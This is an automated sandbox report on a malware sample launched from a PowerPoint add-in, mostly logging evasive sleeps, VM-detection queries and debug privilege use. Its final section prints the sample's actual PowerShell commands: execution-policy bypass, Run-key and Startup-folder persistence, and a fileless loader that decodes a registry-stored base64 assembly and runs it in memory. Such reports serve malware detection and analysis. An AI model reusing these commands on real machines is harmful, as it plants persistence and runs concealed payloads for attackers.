Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1617 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1747 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1441 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2363 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2393 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7446 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2006
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1479
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1871
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 728
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2249
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1043
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2016
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1374
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1308
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 894
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1055
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1714
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 766 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1371 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3528
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 461
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1819
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 905
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8976
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\wscript.exe TID: 3664 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3976 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3992 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3992 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3968 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3908 Thread sleep count: 2393 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3908 Thread sleep count: 7446 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3964 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3988 Thread sleep time: -11068046444225724s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3988 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\wscript.exe TID: 2880 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2996 Thread sleep count: 2006 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2996 Thread sleep count: 1479 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2556 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1392 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1392 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3060 Thread sleep count: 1871 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3060 Thread sleep count: 728 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1472 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2116 Thread sleep count: 2249 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2116 Thread sleep count: 1043 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1184 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2428 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\wscript.exe TID: 3212 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3096 Thread sleep count: 2016 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3096 Thread sleep count: 1374 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3360 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3432 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3432 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3368 Thread sleep count: 1308 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3368 Thread sleep count: 894 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3692 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3800 Thread sleep count: 1055 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3800 Thread sleep count: 1714 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3656 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3644 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\wscript.exe TID: 4056 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1216 Thread sleep count: 766 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1216 Thread sleep count: 1371 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4068 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\wscript.exe TID: 2940 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3588 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3572 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3572 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2968 Thread sleep count: 461 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2040 Thread sleep count: 1819 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3512 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3888 Thread sleep count: 905 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3888 Thread sleep count: 8976 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3984 Thread sleep time: -240000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3988 Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3988 Thread sleep time: -150000s >= -30000s
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 30000
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion
barindex
Bypasses PowerShell execution policy
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\Documentosrs.ppam" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RRvZwfR.vbs" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))" Jump to behavior
